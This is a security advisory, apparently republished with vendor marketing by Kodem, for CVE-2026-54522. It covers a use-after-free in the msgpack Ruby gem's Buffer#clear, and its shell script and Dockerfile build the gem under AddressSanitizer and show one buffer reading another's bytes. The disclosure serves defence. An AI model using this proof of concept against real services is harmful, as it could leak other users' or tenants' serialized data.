Summary
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes, a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).
Details
msgpack_buffer_clear()→_msgpack_buffer_shift_chunk()(ext/msgpack/buffer.c:151,:128) destroys chunks (_msgpack_buffer_chunk_destroy,:58, returns the page viamsgpack_rmem_free) but resets onlytail_buffer_end/read_buffer, leavingrmem_last/rmem_end/rmem_ownerpointing into the freed page.- Next
Buffer#write→_msgpack_buffer_chunk_malloc()reuse branch (:363) returnsb->rmem_last, a pointer into the already-freed page. - A second buffer's first write calls
msgpack_rmem_alloc()and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (
ext/msgpack/rmem.h) recycles pages with a slab bitmask, notfree(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.
PoC
Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
set -e
WORK="$(mktemp -d)"; cd "$WORK"
# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY
# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
cd msgpack-1.8.1/ext/msgpack && \
MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .
# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output:
b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Impact
Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.
Memory is accessed after it has been freed, leading to undefined behavior in native code. Typical impact: memory corruption, crash, or potential code execution.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54522? CVE-2026-54522 is a low-severity use after free vulnerability in msgpack (rubygems), affecting versions <= 1.8.1. It is fixed in 1.8.2. Memory is accessed after it has been freed, leading to undefined behavior in native code.
- Which versions of msgpack are affected by CVE-2026-54522? msgpack (rubygems) versions <= 1.8.1 is affected.
- Is there a fix for CVE-2026-54522? Yes. CVE-2026-54522 is fixed in 1.8.2. Upgrade to this version or later.
- Is CVE-2026-54522 exploitable, and should I be worried? Whether CVE-2026-54522 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54522 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54522? Upgrade
msgpackto 1.8.2 or later.